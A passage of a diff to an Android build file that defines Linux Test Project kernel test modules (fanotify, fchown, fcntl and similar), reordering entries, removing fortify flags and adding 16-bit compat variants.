+    srcs: ["testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_file_time.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ext4_test_inode_version",
+    stem: "ext4_test_inode_version",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_test_inode_version.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_f1",
+    stem: "f1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/nm/datafiles/f1.c"],
     local_include_dirs: ["include/old"],
 }
 
 cc_test {
-    name: "ltp_setfsuid04",
-    stem: "setfsuid04",
+    name: "ltp_f2",
+    stem: "f2",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/commands/nm/datafiles/f2.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_f3",
+    stem: "f3",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/commands/nm/datafiles/f3.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_faccessat01",
+    stem: "faccessat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/faccessat/faccessat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fallocate01",
+    stem: "fallocate01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fallocate02",
+    stem: "fallocate02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fallocate03",
+    stem: "fallocate03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fallocate04",
+    stem: "fallocate04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fallocate05",
+    stem: "fallocate05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify01",
+    stem: "fanotify01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify02",
+    stem: "fanotify02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify03",
+    stem: "fanotify03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify04",
+    stem: "fanotify04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify05",
+    stem: "fanotify05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify06",
+    stem: "fanotify06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify07",
+    stem: "fanotify07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify08",
+    stem: "fanotify08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify09",
+    stem: "fanotify09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify10",
+    stem: "fanotify10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanotify11",
+    stem: "fanotify11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fanotify/fanotify11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fanout01",
+    stem: "fanout01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/packet/fanout01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchdir01",
+    stem: "fchdir01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchdir/fchdir01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchdir02",
+    stem: "fchdir02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchdir/fchdir02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchdir03",
+    stem: "fchdir03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchdir/fchdir03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod01",
+    stem: "fchmod01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod02",
+    stem: "fchmod02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod03",
+    stem: "fchmod03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod04",
+    stem: "fchmod04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod05",
+    stem: "fchmod05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmod06",
+    stem: "fchmod06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmod/fchmod06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchmodat01",
+    stem: "fchmodat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchmodat/fchmodat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchown01",
+    stem: "fchown01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown01.c"],
     local_include_dirs: [
-        "testcases/kernel/syscalls/setfsuid",
         "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fchown",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_move_pages05",
-    stem: "move_pages05",
+    name: "ltp_fchown01_16",
+    stem: "fchown01_16",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
-        "testcases/kernel/syscalls/move_pages/move_pages05.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fcntl23_64",
-    stem: "fcntl23_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl23.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchown03",
-    stem: "fchown03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchown/fchown03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/syscalls/fchown",
@@ -13612,7 +2800,6 @@
     stem: "fchown02",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/fchown/fchown02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/syscalls/fchown",
@@ -13622,11 +2809,11 @@
 }
 
 cc_test {
-    name: "ltp_fchown01",
-    stem: "fchown01",
+    name: "ltp_fchown02_16",
+    stem: "fchown02_16",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchown/fchown01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown02.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/syscalls/fchown",
@@ -13636,50 +2823,24 @@
 }
 
 cc_test {
-    name: "ltp_fcntl34_64",
-    stem: "fcntl34_64",
+    name: "ltp_fchown03",
+    stem: "fchown03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl34.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown03.c"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/fchown",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_move_pages07",
-    stem: "move_pages07",
+    name: "ltp_fchown03_16",
+    stem: "fchown03_16",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
-        "testcases/kernel/syscalls/move_pages/move_pages07.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fchown05",
-    stem: "fchown05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchown/fchown05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown03.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/syscalls/fchown",
@@ -13693,7 +2854,6 @@
     stem: "fchown04",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/fchown/fchown04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/syscalls/fchown",
@@ -13703,220 +2863,84 @@
 }
 
 cc_test {
-    name: "ltp_setresuid01",
-    stem: "setresuid01",
+    name: "ltp_fchown04_16",
+    stem: "fchown04_16",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresuid/setresuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown04.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setresuid",
+        "testcases/kernel/syscalls/fchown",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_ht_interrupt",
-    stem: "ht_interrupt",
+    name: "ltp_fchown05",
+    stem: "fchown05",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/hyperthreading/ht_interrupt/ht_utils.c",
-        "testcases/kernel/sched/hyperthreading/ht_interrupt/ht_interrupt.c",
+    srcs: ["testcases/kernel/syscalls/fchown/fchown05.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fchown",
+        "include/old",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchown05_16",
+    stem: "fchown05_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchown/fchown05.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fchown",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fchownat01",
+    stem: "fchownat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fchownat/fchownat01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_stat06_64",
-    stem: "stat06_64",
+    name: "ltp_fchownat02",
+    stem: "fchownat02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat06.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/stat",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setfsgid03",
-    stem: "setfsgid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setfsgid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresuid03",
-    stem: "setresuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresuid/setresuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setresuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nftw01",
-    stem: "nftw01",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/nftw/tools.c",
-        "testcases/kernel/syscalls/nftw/lib.c",
-        "testcases/kernel/syscalls/nftw/test.c",
-        "testcases/kernel/syscalls/nftw/nftw.c",
-        "testcases/kernel/syscalls/nftw/test_func.c",
-    ],
-    cflags: [
-        "-D_LARGEFILE_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-        "-D_XOPEN_SOURCE_EXTENDED",
-        "-D_XOPEN_SOURCE=500",
-    ],
+    srcs: ["testcases/kernel/syscalls/fchownat/fchownat02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_setfsgid02",
-    stem: "setfsgid02",
+    name: "ltp_fcntl01",
+    stem: "fcntl01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl01.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
         "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setfsgid",
         "include/old",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fstat02_64",
-    stem: "fstat02_64",
+    name: "ltp_fcntl01_64",
+    stem: "fcntl01_64",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat02.c"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl01.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setfsgid01",
-    stem: "setfsgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsgid/setfsgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setfsgid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread01_64",
-    stem: "pread01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/pread",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aio_tio",
-    stem: "aio_tio",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/aio/aio02/aio_tio.c",
-        "testcases/kernel/io/aio/aio02/main.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile03_64",
-    stem: "sendfile03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setfsuid03",
-    stem: "setfsuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setfsuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl26_64",
-    stem: "fcntl26_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl26.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_GNU_SOURCE",
@@ -13930,174 +2954,25 @@
 }
 
 cc_test {
-    name: "ltp_tst_ncpus",
-    stem: "tst_ncpus",
+    name: "ltp_fcntl02",
+    stem: "fcntl02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl02_64",
+    stem: "fcntl02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl02.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_f3",
-    stem: "f3",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/commands/nm/datafiles/f3.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_f2",
-    stem: "f2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/commands/nm/datafiles/f2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_f1",
-    stem: "f1",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/commands/nm/datafiles/f1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_chown05",
-    stem: "chown05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chown/chown05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/chown",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise04_64",
-    stem: "posix_fadvise04_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chown01",
-    stem: "chown01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chown/chown01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/chown",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-icmpv6_sender",
-    stem: "ns-icmpv6_sender",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-icmpv6_sender.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_chown03",
-    stem: "chown03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chown/chown03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/chown",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chown02",
-    stem: "chown02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chown/chown02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/chown",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lstat03_64",
-    stem: "lstat03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise01_64",
-    stem: "posix_fadvise01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl16_64",
-    stem: "fcntl16_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl16.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_GNU_SOURCE",
@@ -14111,18 +2986,77 @@
 }
 
 cc_test {
-    name: "ltp_pwrite04_64",
-    stem: "pwrite04_64",
+    name: "ltp_fcntl03",
+    stem: "fcntl03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite04.c"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl03_64",
+    stem: "fcntl03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl03.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
-        "-Wno-error",
+        "-D_GNU_SOURCE",
     ],
     local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl04",
+    stem: "fcntl04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl04.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl04_64",
+    stem: "fcntl04_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl04.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
